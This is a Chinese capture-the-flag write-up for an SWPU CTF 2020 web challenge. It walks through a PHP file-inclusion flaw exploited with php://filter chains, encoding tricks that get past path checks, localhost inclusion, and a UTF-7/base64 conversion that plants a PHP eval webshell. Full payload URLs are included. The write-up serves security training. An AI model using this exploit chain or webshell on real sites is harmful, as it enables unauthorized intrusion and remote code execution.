原谅最光荣

发表于 2021-03-05 分类于 Challenge ， 2020 ， SWPU CTF 2020 ， Web
Challenge | 2020 | SWPU CTF 2020 | Web | 原谅最光荣

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

- *PHP伪协议*

解题思路

ps: 来自真实环境，稍微增加了一点CTF特色

打开题目链接，点开页面上的几个链接发现路由是xxx.action会以为是java，扫描或者是常识访问到robots.txt

可以看到是php的，题目提到包容二字以及从这几个路径可以推断该题目是伪静态+文件包含，至于是本地还是远程需要进一步验证：

访问：`/.%2f.%2f.%2fpricing.action`，返回对应`pricing.action`页面，说明可以拼接路径，但是测试无法跳转，尝试包含`/etc/passwd`、`日志`、`/proc/self/`也无结果，这时可以尝试远程文件包含：

访问：`/http:%2f%2fwww.baidu.com.action`，截图如下：

结果触发了规则，注意看http:/www 中间少了个斜线，然后看代码，发现对path进行了url解码，所以可以在传入路径时使用`http:%252f%2fwww.baidu.com`来绕过这个问题。

继续看代码，下面对path开头的几个字符做了检测，这里被检测的字符串数组内容未知。由于php能用的伪协议就那么几种，挨个测试即可。

最后发现可以用`php://filter`包含本地文件获得源码：

```
1 http://47.116.79.40:32773/php:%2f%2ffilter/convert.base64-encode/resource=contact.action
```


但是这里是无法通过这个来读取到flag的，因为前面测试可以知道该网站代码会对path添加一个文件后缀然后包含，所以这个题应该是需要获取webshell才能拿到flag。

这里我们可以用`resource=http://xxx.xxx.com/xxx`来包含远程文档，但是测试可知无法包含外网资源，只能包含localhost（注意末尾加%23来绕过文件后缀）：

```
1 http://47.116.79.40:32773/php:%2f%2ffilter%2Fconvert.base64-encode%2Fresource=http:%2f%2f127.0.0.1/%23.action
```

这样是没有问题的，然后在页面可以找到一个contact.action存在一个GET型表单，提交的值可以在输出中打印出来，但是值被实体化了（无法在页面显示出<>等符号）。

这里的思路是通过base64-decode来将我们传入的base64字符串解成<?php的代码，从而绕过htlm实体化编码，但是convert.base64-decode这个过滤器相对base64-decode函数来说比较古怪，在字符中间遇到等号会直接报错。

这里去除等号的方法可能不唯一，我选择使用简单的utf-7编码，编码规则可以自行查看wiki，大体上是字母数字和个别符号属于直接编码，也就是直接输出；而等号属于可选的直接编码字符，一般会进行base64然后成为这种：-Iwo+。最后payload为：

```
1 http://47.116.79.40:32773/php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fconvert.base64-decode%2Fresource%3Dhttp:%2f/localhost/contact.action%3Fname=xxPD9waHAgZXZhbCgkX0
```

格式化一下：

```
1 http://47.116.79.40:32773/php://filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http://localhost/contact.action?name=xxPD9waHAgZXZhbCgkX0dFVFsxMjNdKTs/Pg#.
```

访问结果：

值得注意的是，经过base64编码payload的偏移量必须为4的整数倍，因为base64解码是以4字节一组进行转换。

拿到shell后，flag.txt在根目录可以看到。

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/SWPU-CTF-2020/Web/j7cBDGw1CNya9xsGtetbKV.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Web # SWPU CTF 2020
Re.exe
重来